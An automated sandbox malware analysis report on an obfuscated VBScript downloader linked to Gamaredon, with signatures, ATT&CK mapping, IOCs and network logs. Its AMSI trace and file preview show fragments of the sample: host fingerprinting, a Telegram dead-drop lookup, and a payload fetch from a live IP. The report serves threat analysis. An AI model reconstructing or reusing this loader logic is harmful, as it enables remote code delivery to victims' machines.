Edit tour

Windows Analysis Report
download (18).vbs

Overview

General Information

Sample Name:	download (18).vbs (renamed file extension from dat to vbs, renamed because original name is a hash value)
Original Sample Name:	download (18).dat
Analysis ID:	1299504
MD5:	d54f6ef2c2acb61b58a45e618d16f5f6
SHA1:	c92bf5d20884474cd18c6618e45cd960e9e2bfe4
SHA256:	f053bfb3c3d133ebff9a7b2b600b52299c255549571d754c52e9dacd6707707d
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Snort IDS alert for network traffic

Potential malicious VBS script found (has network functionality)

Queries the volume information (name, serial number etc) of a device

Java / VBScript file with very long strings (likely obfuscated code)

Uses a known web browser user agent for HTTP communication

JA3 SSL client fingerprint seen in connection with other malware

IP address seen in connection with other malware

Found WSH timer for Javascript or VBS script (likely evasive script)

Abnormal high CPU Usage

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6328 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\download (18).vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

cleanup

Snort Signatures

ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru) - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.856157532046128 08/29/23-15:35:23.605876
SID:	2046128
Source Port:	56157
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru) - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.853304532046128 08/29/23-15:33:07.083148
SID:	2046128
Source Port:	53304
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru) - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.853493532046128 08/29/23-15:35:23.745784
SID:	2046128
Source Port:	53493
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru) - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.855108532046128 08/29/23-15:33:07.228017
SID:	2046128
Source Port:	55108
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /s/rwmlqlxfttee HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: t.meContent-Length: 0Connection: Keep-AliveCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: t.me

Source: global traffic	HTTP traffic detected: GET /rwmlqlxfttee HTTP/1.1Accept: /Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=de08e3f70d91333e83_15118461779691697602
Source: global traffic	HTTP traffic detected: GET /rwmlqlxfttee HTTP/1.1Accept: /Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=de08e3f70d91333e83_15118461779691697602

Source: unknown

HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49756 version: TLS 1.2

Source: download (18).vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\download (18).vbs"

Source: classification engine

Classification label: mal68.evad.winVBS@1/0@1/2

Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: IWshShell3.ExpandEnvironmentStrings("%systemdrive%");IFileSystem3.GetDrive("C:");IDrive.SerialNumber();IWshShell3.ExpandEnvironmentStrings("%computername%");IServerXMLHTTPRequest2.open("post", "https://t.me/s/rwmlqlxfttee", "false");IServerXMLHTTPRequest2.setRequestHeader("user-agent", "Unsupported parameter type 00000000");IServerXMLHTTPRequest2.setRequestHeader("Unsupported parameter type 00000000", "Unsupported parameter type 00000000");IServerXMLHTTPRequest2.send();IServerXMLHTTPRequest2.responseBody();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.Type("2");_Stream.Charset("utf-8");_Stream.ReadText();_Stream.Close();IRegExp2.Pattern("==([0-9\@]+)==");IRegExp2.Multiline("true");IRegExp2.Global("true");IRegExp2.Execute("<!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @rwmlqlxfttee</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&windo");IWshShell3.ExpandEnvironmentStrings("%systemdrive%");IFileSystem3.GetDrive("C:");IDrive.SerialNumber();IWshShell3.ExpandEnvironmentStrings("%computername%");IServerXMLHTTPRequest2.open("post", "https://t.me/s/rwmlqlxfttee", "false");IServerXMLHTTPRequest2.setRequestHeader("user-agent", "Unsupported parameter type 00000000");IServerXMLHTTPRequest2.setRequestHeader("Unsupported parameter type 00000000", "Unsupported parameter type 00000000");IServerXMLHTTPRequest2.send();IServerXMLHTTPRequest2.responseBody();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.Type("2");_Stream.Charset("utf-8");_Stream.ReadText();_Stream.Close();IRegExp2.Pattern("==([0-9\@]+)==");IRegExp2.Multiline("true");IRegExp2.Global("true");IRegExp2.Execute("<!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @rwmlqlxfttee</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&windo");IMatchCollection2.Item("0");ISWbemServicesEx.ExecQuery("select * from win32_pingstatus where address='ReDim71.kemnebipa.ru'");ISWbemObjectSet._NewEnum();ISWbemObjectEx._01800001();IServerXMLHTTPRequest2.open("get", "http://212.18.104.89/jessie/71.lbm?=DeleteFile", "false");IServerXMLHTTPRequest2.setRequestHeader("user-agent", "mozilla/5.0 (windows nt 10.0; wow64) applewebkit/537.36 (khtml, like gecko) chrome/81.0.4044.138 yabr");IServerXMLHTTPRequest2.setRequestHeader("Referer", "Unsupported parameter type 00000000");IServerXMLHTTPRequest2.setRequestHeader("Cookie", "junk");IServerXMLHTTPRequest2.setRequestHeader("Content-Length", "4552");IServerXMLHTTPRequest2.send();IServerXMLHTTPRequest2.responseBody();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 00000000");_Stream.Position("0");_Stream.Type("2");_Stream.Charset("utf-8");_Stream.ReadText();_Stream.Close();IXMLDOMNode._00000029("base64");IXMLDOMEl

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: wscript.exe, 00000000.00000003.881434273.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp,.
Source: wscript.exe, 00000000.00000003.881434273.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898458756.000001FCFE3AF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Domain query: t.me
Source: C:\Windows\System32\wscript.exe	Network Connect: 149.154.167.99 443	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 212.18.104.89 80	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Scripting	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	221 Scripting	LSASS Memory	12 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	14 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://212.18.1	0%	Avira URL Cloud	safe
http://212.18.104.89/jessie/71.lbm?=DeleteFile	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
t.me	149.154.167.99	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://t.me/rwmlqlxfttee	false		high
https://t.me/s/rwmlqlxfttee	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://t.me/	wscript.exe, 00000000.00000003.881434273.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.881434273.000001FCFC2B9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/(Z	wscript.exe, 00000000.00000003.881434273.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://212.18.1	wscript.exe, 00000000.00000002.898413009.000001FCFDF40000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
https://t.me/rwmlqlxfttee=	wscript.exe, 00000000.00000003.588501314.000001FCFE3C3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/s/rwmlqlxftteeXj	wscript.exe, 00000000.00000003.881434273.000001FCFC2B9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/s/rwmlqlxfttee&	wscript.exe, 00000000.00000003.881434273.000001FCFC2B9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://web.telegram.org	wscript.exe, 00000000.00000003.881427766.000001FCFE446000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/rwmlqlxftteec	wscript.exe, 00000000.00000003.588501314.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898458756.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/rwmlqlxf44	wscript.exe, 00000000.00000003.881380040.000001FCFE453000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898574011.000001FCFE453000.00000004.00000020.00020000.00000000.sdmp	false		high
https://telegram.org/img/t_logo.png	wscript.exe, 00000000.00000002.898574011.000001FCFE453000.00000004.00000020.00020000.00000000.sdmp	false		high
http://212.18.104.89/jessie/71.lbm?=DeleteFile	wscript.exe, wscript.exe, 00000000.00000002.898198755.000001FCFC1D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.881380040.000001FCFE453000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898458756.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://t.me/rwmlqlxftteeO	wscript.exe, 00000000.00000003.588501314.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898458756.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/F	wscript.exe, 00000000.00000003.881434273.000001FCFC2B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/rwmlqlxfttee3	wscript.exe, 00000000.00000003.588501314.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/rwmlqlxftteeW	wscript.exe, 00000000.00000003.588501314.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.99	t.me	United Kingdom		62041	TELEGRAMRU	false
212.18.104.89	unknown	unknown		8687	PPP-ASDE	true

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1299504
Start date and time:	2023-08-29 15:30:27 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	download (18).vbs (renamed file extension from dat to vbs, renamed because original name is a hash value)
Original Sample Name:	download (18).dat
Detection:	MAL
Classification:	mal68.evad.winVBS@1/0@1/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, ReDim71.kemnebipa.ru, client.wns.windows.com, eudb.ris.api.iris.microsoft.com, ReDim54.kemnebipa.ru, displaycatalog.mp.microsoft.com, g.bing.com, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: download (18).vbs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.99	KeyboardRGB.exe	Get hash	malicious	Unknown	Browse	t.me/cinoshibot
	file.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	W6qKnnjMEi	Get hash	malicious	Anubis	Browse	t.me/jhzljkhbsdklzjdlkzj281679827sjah
	snfstBXgxa	Get hash	malicious	Anubis	Browse	t.me/cui8txvnmv

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	download (17).vbs	Get hash	malicious	Unknown	Browse	149.154.167.99
	cQR4fkJcCk.exe	Get hash	malicious	Amadey, LummaC Stealer, Mystic Stealer, RedLine, SmokeLoader	Browse	149.154.167.99
	0mp7o7ZR8A.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RedLine, SmokeLoader	Browse	149.154.167.99
	H2xW8X8lKj.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RedLine, SmokeLoader	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Glupteba, PrivateLoader, SmokeLoader, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	1.bin.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	2.bin.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	149.154.167.99
	mh7jJjANa6.exe	Get hash	malicious	Djvu, RedLine, SmokeLoader	Browse	149.154.167.99
	tnT41YJaPW.exe	Get hash	malicious	LimeRAT, AsyncRAT, DcRat, Eternity Stealer, RedLine, zgRAT	Browse	149.154.167.99
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	149.154.167.99
	tDkUqzi4PG.exe	Get hash	malicious	AgentTesla, Amadey, AsyncRAT, Fabookie, Lokibot, LummaC Stealer, RHADAMANTHYS	Browse	149.154.167.99
	Payment INV09187632.eml	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	RedLine, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://tttttt.me/antitantief3	Get hash	malicious	Unknown	Browse	95.216.186.40
	aRdg2eMZXQ.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	THawBZ42Ht.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	V6MYxI3w7I.exe	Get hash	malicious	Vidar	Browse	149.154.167.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Invoice#1012_.txt	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.Siggen19.36002.3443.8527.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	149.154.167.220
	K1wEC5xsnP.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	yfySrYMRO8.exe	Get hash	malicious	PrivateLoader, RedLine	Browse	149.154.167.99
	w77T7XgLqj.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.14895.4336.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	download (17).vbs	Get hash	malicious	Unknown	Browse	149.154.167.99
	Packing_List.xlam.xlsx	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.220
	INV.PDF.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	Rlgmwu.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	Gk7dY3EsML.exe	Get hash	malicious	Unknown	Browse	95.161.76.100
	KEdK7cfRii.exe	Get hash	malicious	Gurcu Stealer	Browse	149.154.167.220
	Bon8RXwP7S.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Amend_Invoice____87975557667___pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	New_Order_BSJ007.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.220
	Bgbei.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	Dryswpzby.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	RKE2023000000853.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	767667 ORDER NUMBER FOR ATEF GROUP OF COMPANIES-------------------------------PDF.bat	Get hash	malicious	AgentTesla	Browse	149.154.167.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	iwVUU53nZE.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	4a9OE5cKJo.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	4a9OE5cKJo.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	PDFViewer_44882564 (1).msi	Get hash	malicious	Unknown	Browse	149.154.167.99
	3 cahier Ile bleue 2023.xlsx	Get hash	malicious	Unknown	Browse	149.154.167.99
	3 cahier Ile bleue 2023.xlsx	Get hash	malicious	Unknown	Browse	149.154.167.99
	3 cahier Ile bleue 2023.xlsx	Get hash	malicious	Unknown	Browse	149.154.167.99
	Orden_de_compra_-_P06672_PDF.exe	Get hash	malicious	GuLoader	Browse	149.154.167.99
	download (17).vbs	Get hash	malicious	Unknown	Browse	149.154.167.99
	N94307_251628_2023-08-28_BC8976924pdf.exe	Get hash	malicious	GuLoader	Browse	149.154.167.99
	CC1eNsOCDq.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	OYGuDyAvhG.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	CC1eNsOCDq.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	cMBkG9Nme3.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	CVj3khKqLB.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	eB6bGbNNSH.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	CVj3khKqLB.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	cMBkG9Nme3.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	6srcaz6D6M.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99
	eB6bGbNNSH.exe	Get hash	malicious	Fabookie	Browse	149.154.167.99

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.346804201618879
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	download (18).vbs
File size:	5'061 bytes
MD5:	d54f6ef2c2acb61b58a45e618d16f5f6
SHA1:	c92bf5d20884474cd18c6618e45cd960e9e2bfe4
SHA256:	f053bfb3c3d133ebff9a7b2b600b52299c255549571d754c52e9dacd6707707d
SHA512:	3459f8ebd2c786f4e5c53825015511259ee3f151e06db9d54c4aaa4d0ed7643e0ff9cae4103482999118a728934bc1db1091d4c2ef43860c801246963a423cac
SSDEEP:	96:ZDUzXD6/yvBEEwNgP0iNQX422wpUKMP//g+kBYDWRGTBg:ZDUzeE8YQrfUKM3/gZnaa
TLSH:	01A1D81FF9036E92827F5386821F3C09E7BCC061722B58937545F8AB45BAC754DC6D85
File Content Preview:	on error resume next..addYE1 = 1..do while addYE1 < 5..labourerknm 90..enforcecG9 = experimentVC1..ExecuteGlobal(enforcecG9) ..Loop..function loomk7e(soulC31, ponyr2D)..on error resume next..spurtd37 = soulC31..grandsoniRF = ponyr2D..Set dissolveSu4 = Ge

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Download Network PCAP: filtered – full

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.38.8.8.856157532046128 08/29/23-15:35:23.605876	UDP	2046128	ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru)	56157	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.853304532046128 08/29/23-15:33:07.083148	UDP	2046128	ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru)	53304	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.853493532046128 08/29/23-15:35:23.745784	UDP	2046128	ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru)	53493	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.855108532046128 08/29/23-15:33:07.228017	UDP	2046128	ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru)	55108	53	192.168.2.3	8.8.8.8

Network Port Distribution

Total Packets: 48
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2023 15:33:06.371023893 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.371073008 CEST	443	49756	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.371193886 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.382596016 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.382622957 CEST	443	49756	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.446855068 CEST	443	49756	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.447050095 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.661669016 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.661698103 CEST	443	49756	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.662148952 CEST	443	49756	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.662219048 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.664402962 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.697457075 CEST	443	49756	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.697551966 CEST	443	49756	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.697643995 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.697669983 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.701288939 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.701313019 CEST	443	49756	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.701325893 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.701401949 CEST	49756	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.749509096 CEST	49758	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.749556065 CEST	443	49758	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.749656916 CEST	49758	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.750216007 CEST	49758	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.750231028 CEST	443	49758	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.816966057 CEST	443	49758	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.817070007 CEST	49758	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.818125963 CEST	49758	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.818149090 CEST	443	49758	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.823527098 CEST	49758	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.823545933 CEST	443	49758	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.896894932 CEST	443	49758	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.896939039 CEST	443	49758	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.896996021 CEST	443	49758	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.897036076 CEST	443	49758	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:06.897131920 CEST	49758	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.897196054 CEST	49758	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.898451090 CEST	49758	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:33:06.898485899 CEST	443	49758	149.154.167.99	192.168.2.3
Aug 29, 2023 15:33:22.075870991 CEST	49759	80	192.168.2.3	212.18.104.89
Aug 29, 2023 15:33:25.081327915 CEST	49759	80	192.168.2.3	212.18.104.89
Aug 29, 2023 15:33:31.081749916 CEST	49759	80	192.168.2.3	212.18.104.89
Aug 29, 2023 15:35:23.081027985 CEST	49763	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.081139088 CEST	443	49763	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.081249952 CEST	49763	443	192.168.2.3	149.154.167.99
